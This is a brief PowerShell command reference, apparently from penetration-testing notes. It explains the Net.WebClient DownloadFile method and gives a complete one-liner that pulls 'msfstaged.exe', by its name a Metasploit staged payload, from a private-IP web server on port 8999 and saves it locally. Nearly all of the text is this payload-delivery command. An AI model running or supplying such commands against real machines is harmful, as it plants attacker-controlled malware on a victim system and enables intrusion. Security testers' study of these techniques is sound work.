(New-Object Net.WebClient).DownloadFile is a PowerShell command that uses the .NET WebClient class to download a file from the server and saves it in a local directory.
Command Reference:
Webserver: http://172.16.56.128:8999/msfstaged.exe
File name: msfstaged.exe
(New-Object Net.WebClient).DownloadFile('http://172.16.56.128:8999/msfstaged.exe', 'msfstaged.exe')